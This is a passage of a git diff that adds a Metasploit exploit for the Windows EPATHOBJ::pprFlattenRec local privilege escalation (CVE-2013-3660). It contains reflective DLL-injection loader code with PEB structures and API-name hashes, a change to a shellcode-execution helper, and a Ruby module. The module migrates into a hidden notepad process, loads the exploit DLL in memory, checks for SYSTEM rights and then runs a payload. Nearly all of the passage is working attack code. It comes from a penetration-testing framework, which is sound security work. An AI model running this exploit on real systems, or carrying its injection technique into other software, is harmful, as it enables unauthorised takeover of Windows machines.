+ // if we are injecting an DLL via a stub we call DllMain with no parameter
+ ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
+#endif
+
+ // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
+ return uiValueA;
+}
+//===============================================================================================//
+#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
+
+BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
+{
+ BOOL bReturnValue = TRUE;
+ switch( dwReason )
+ {
+ case DLL_QUERY_HMODULE:
+ if( lpReserved != NULL )
+ *(HMODULE *)lpReserved = hAppInstance;
+ break;
+ case DLL_PROCESS_ATTACH:
+ hAppInstance = hinstDLL;
+ break;
+ case DLL_PROCESS_DETACH:
+ case DLL_THREAD_ATTACH:
+ case DLL_THREAD_DETACH:
+ break;
+ }
+ return bReturnValue;
+}
+
+#endif
+//===============================================================================================//
diff --git a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.h b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.h
new file mode 100755
index 0000000000..b8eb22b0b1
--- /dev/null
+++ b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.h
@@ -0,0 +1,202 @@
+//===============================================================================================//
+// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without modification, are permitted
+// provided that the following conditions are met:
+//
+// * Redistributions of source code must retain the above copyright notice, this list of
+// conditions and the following disclaimer.
+//
+// * Redistributions in binary form must reproduce the above copyright notice, this list of
+// conditions and the following disclaimer in the documentation and/or other materials provided
+// with the distribution.
+//
+// * Neither the name of Harmony Security nor the names of its contributors may be used to
+// endorse or promote products derived from this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
+// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
+// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+// POSSIBILITY OF SUCH DAMAGE.
+//===============================================================================================//
+#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
+#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
+//===============================================================================================//
+#define WIN32_LEAN_AND_MEAN
+#include
+#include
+#include
+#include "ReflectiveDLLInjection.h"
+
+typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
+typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
+typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
+typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
+
+#define KERNEL32DLL_HASH 0x6A4ABC5B
+#define NTDLLDLL_HASH 0x3CFA685D
+
+#define LOADLIBRARYA_HASH 0xEC0E4E8E
+#define GETPROCADDRESS_HASH 0x7C0DFCAA
+#define VIRTUALALLOC_HASH 0x91AFCA54
+#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
+
+#define IMAGE_REL_BASED_ARM_MOV32A 5
+#define IMAGE_REL_BASED_ARM_MOV32T 7
+
+#define ARM_MOV_MASK (DWORD)(0xFBF08000)
+#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
+#define ARM_MOVW 0xF2400000
+#define ARM_MOVT 0xF2C00000
+
+#define HASH_KEY 13
+//===============================================================================================//
+#pragma intrinsic( _rotr )
+
+__forceinline DWORD ror( DWORD d )
+{
+ return _rotr( d, HASH_KEY );
+}
+
+__forceinline DWORD hash( char * c )
+{
+ register DWORD h = 0;
+ do
+ {
+ h = ror( h );
+ h += *c;
+ } while( *++c );
+
+ return h;
+}
+//===============================================================================================//
+typedef struct _UNICODE_STR
+{
+ USHORT Length;
+ USHORT MaximumLength;
+ PWSTR pBuffer;
+} UNICODE_STR, *PUNICODE_STR;
+
+// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
+//__declspec( align(8) )
+typedef struct _LDR_DATA_TABLE_ENTRY
+{
+ //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
+ LIST_ENTRY InMemoryOrderModuleList;
+ LIST_ENTRY InInitializationOrderModuleList;
+ PVOID DllBase;
+ PVOID EntryPoint;
+ ULONG SizeOfImage;
+ UNICODE_STR FullDllName;
+ UNICODE_STR BaseDllName;
+ ULONG Flags;
+ SHORT LoadCount;
+ SHORT TlsIndex;
+ LIST_ENTRY HashTableEntry;
+ ULONG TimeDateStamp;
+} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
+
+// WinDbg> dt -v ntdll!_PEB_LDR_DATA
+typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
+{
+ DWORD dwLength;
+ DWORD dwInitialized;
+ LPVOID lpSsHandle;
+ LIST_ENTRY InLoadOrderModuleList;
+ LIST_ENTRY InMemoryOrderModuleList;
+ LIST_ENTRY InInitializationOrderModuleList;
+ LPVOID lpEntryInProgress;
+} PEB_LDR_DATA, * PPEB_LDR_DATA;
+
+// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
+typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
+{
+ struct _PEB_FREE_BLOCK * pNext;
+ DWORD dwSize;
+} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
+
+// struct _PEB is defined in Winternl.h but it is incomplete
+// WinDbg> dt -v ntdll!_PEB
+typedef struct __PEB // 65 elements, 0x210 bytes
+{
+ BYTE bInheritedAddressSpace;
+ BYTE bReadImageFileExecOptions;
+ BYTE bBeingDebugged;
+ BYTE bSpareBool;
+ LPVOID lpMutant;
+ LPVOID lpImageBaseAddress;
+ PPEB_LDR_DATA pLdr;
+ LPVOID lpProcessParameters;
+ LPVOID lpSubSystemData;
+ LPVOID lpProcessHeap;
+ PRTL_CRITICAL_SECTION pFastPebLock;
+ LPVOID lpFastPebLockRoutine;
+ LPVOID lpFastPebUnlockRoutine;
+ DWORD dwEnvironmentUpdateCount;
+ LPVOID lpKernelCallbackTable;
+ DWORD dwSystemReserved;
+ DWORD dwAtlThunkSListPtr32;
+ PPEB_FREE_BLOCK pFreeList;
+ DWORD dwTlsExpansionCounter;
+ LPVOID lpTlsBitmap;
+ DWORD dwTlsBitmapBits[2];
+ LPVOID lpReadOnlySharedMemoryBase;
+ LPVOID lpReadOnlySharedMemoryHeap;
+ LPVOID lpReadOnlyStaticServerData;
+ LPVOID lpAnsiCodePageData;
+ LPVOID lpOemCodePageData;
+ LPVOID lpUnicodeCaseTableData;
+ DWORD dwNumberOfProcessors;
+ DWORD dwNtGlobalFlag;
+ LARGE_INTEGER liCriticalSectionTimeout;
+ DWORD dwHeapSegmentReserve;
+ DWORD dwHeapSegmentCommit;
+ DWORD dwHeapDeCommitTotalFreeThreshold;
+ DWORD dwHeapDeCommitFreeBlockThreshold;
+ DWORD dwNumberOfHeaps;
+ DWORD dwMaximumNumberOfHeaps;
+ LPVOID lpProcessHeaps;
+ LPVOID lpGdiSharedHandleTable;
+ LPVOID lpProcessStarterHelper;
+ DWORD dwGdiDCAttributeList;
+ LPVOID lpLoaderLock;
+ DWORD dwOSMajorVersion;
+ DWORD dwOSMinorVersion;
+ WORD wOSBuildNumber;
+ WORD wOSCSDVersion;
+ DWORD dwOSPlatformId;
+ DWORD dwImageSubsystem;
+ DWORD dwImageSubsystemMajorVersion;
+ DWORD dwImageSubsystemMinorVersion;
+ DWORD dwImageProcessAffinityMask;
+ DWORD dwGdiHandleBuffer[34];
+ LPVOID lpPostProcessInitRoutine;
+ LPVOID lpTlsExpansionBitmap;
+ DWORD dwTlsExpansionBitmapBits[32];
+ DWORD dwSessionId;
+ ULARGE_INTEGER liAppCompatFlags;
+ ULARGE_INTEGER liAppCompatFlagsUser;
+ LPVOID lppShimData;
+ LPVOID lpAppCompatInfo;
+ UNICODE_STR usCSDVersion;
+ LPVOID lpActivationContextData;
+ LPVOID lpProcessAssemblyStorageMap;
+ LPVOID lpSystemDefaultActivationContextData;
+ LPVOID lpSystemAssemblyStorageMap;
+ DWORD dwMinimumStackCommit;
+} _PEB, * _PPEB;
+
+typedef struct
+{
+ WORD offset:12;
+ WORD type:4;
+} IMAGE_RELOC, *PIMAGE_RELOC;
+//===============================================================================================//
+#endif
+//===============================================================================================//
diff --git a/external/source/exploits/cve-2013-3660/rdi.sln b/external/source/exploits/cve-2013-3660/rdi.sln
new file mode 100755
index 0000000000..0a0dde7c06
--- /dev/null
+++ b/external/source/exploits/cve-2013-3660/rdi.sln
@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual C++ Express 2010
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Win32 = Debug|Win32
+ Release|Win32 = Release|Win32
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
+ {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
+ {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
+ {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+EndGlobal
diff --git a/lib/msf/core/post/windows/process.rb b/lib/msf/core/post/windows/process.rb
index 7ec019563d..5ff935b3c6 100644
--- a/lib/msf/core/post/windows/process.rb
+++ b/lib/msf/core/post/windows/process.rb
@@ -15,10 +15,14 @@ module Process
#
# @return [Boolean] True if successful, otherwise false
#
- def execute_shellcode(shellcode, base_addr, pid=nil)
+ def execute_shellcode(shellcode, base_addr=nil, pid=nil)
pid ||= session.sys.process.getpid
host = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
- shell_addr = host.memory.allocate(shellcode.length, nil, base_addr)
+ if base_addr.nil?
+ shell_addr = host.memory.allocate(shellcode.length)
+ else
+ shell_addr = host.memory.allocate(shellcode.length, nil, base_addr)
+ end
if host.memory.write(shell_addr, shellcode) < shellcode.length
vprint_error("Failed to write shellcode")
return false
diff --git a/modules/exploits/windows/local/ppr_flatten_rec.rb b/modules/exploits/windows/local/ppr_flatten_rec.rb
new file mode 100644
index 0000000000..34a167b2d4
--- /dev/null
+++ b/modules/exploits/windows/local/ppr_flatten_rec.rb
@@ -0,0 +1,136 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'rex'
+require 'msf/core/post/common'
+require 'msf/core/post/windows/priv'
+require 'msf/core/post/windows/process'
+
+class Metasploit3 < Msf::Exploit::Local
+ Rank = AverageRanking
+
+ include Msf::Post::File
+ include Msf::Post::Windows::Priv
+ include Msf::Post::Windows::Process
+
+ def initialize(info={})
+ super(update_info(info, {
+ 'Name' => 'Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation',
+ 'Description' => %q{
+ This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due to the usage
+ of uninitialized data which allows to corrupt memory. At the moment, the module has
+ been tested successfully on Windows XP SP3, Windows 2003 SP1, and Windows 7 SP1.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Tavis Ormandy ', # Vulnerability discovery and Original Exploit
+ 'progmboy ', # Original Exploit
+ 'Keebie4e', # Metasploit integration
+ 'egypt', # Metasploit integration
+ 'sinn3r', # Metasploit integration
+ 'Meatballs', # Metasploit integration
+ 'juan vazquez' # Metasploit integration
+ ],
+ 'Arch' => ARCH_X86,
+ 'Platform' => 'win',
+ 'SessionTypes' => [ 'meterpreter' ],
+ 'DefaultOptions' =>
+ {
+ 'EXITFUNC' => 'thread',
+ },
+ 'Targets' =>
+ [
+ [ 'Automatic', { } ]
+ ],
+ 'Payload' =>
+ {
+ 'Space' => 4096,
+ 'DisableNops' => true
+ },
+ 'References' =>
+ [
+ [ 'CVE', '2013-3660' ],
+ [ 'EDB', '25912' ],
+ [ 'OSVDB', '93539' ],
+ [ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ],
+ ],
+ 'DisclosureDate' => 'May 15 2013',
+ 'DefaultTarget' => 0
+ }))
+
+ end
+
+ def check
+ os = sysinfo["OS"]
+ if os =~ /windows/i
+ return Exploit::CheckCode::Vulnerable
+ end
+ end
+
+ def exploit
+
+ if sysinfo["Architecture"] =~ /wow64/i
+ fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported")
+ elsif sysinfo["Architecture"] =~ /x64/
+ fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported")
+ end
+
+ print_status("Creating a new process and migrating...")
+
+ cmd = "#{expand_path("%windir%")}\\System32\\notepad.exe"
+ new_proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
+ new_pid = new_proc.pid
+
+ if not new_pid
+ print_error("Filed to create the new process, trying in the current one, if unsuccessful migrate by yourself")
+ else
+ print_status("Migrating to #{new_pid}")
+ migrate_res = false
+
+ begin
+ migrate_res = session.core.migrate(new_pid)
+ rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError
+ migrate_res = false
+ end
+
+ if migrate_res
+ print_good("Successfully migrated to process #{new_pid}")
+ else
+ print_warning("Unable to migrate to process #{new_pid.to_s}, trying current #{session.sys.process.getpid} instead. If still unsuccessful, please migrate manually")
+ end
+ end
+
+ print_status("Trying to load the exploit and executing...")
+
+ session.core.load_library({
+ "LibraryFilePath" => File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-3660", "exploit.dll"),
+ "UploadLibrary" => true,
+ "Extension" => false,
+ "TargetFilePath" => "#{rand_text_alpha(5 + rand(3))}.dll",
+ "SaveToDisk" => false
+ })
+
+ print_status("Checking privileges after exploitation...")
+
+ if is_system?
+ print_good("Exploitation successful!")
+ else
+ fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful but should be safe to try again")
+ end
+
+ if execute_shellcode(payload.encoded)
+ print_good("Enjoy!")
+ else
+ fail_with(Exploit::Failure::Unknown, "Error while executing the payload")
+ end
+
+ end
+
+
+end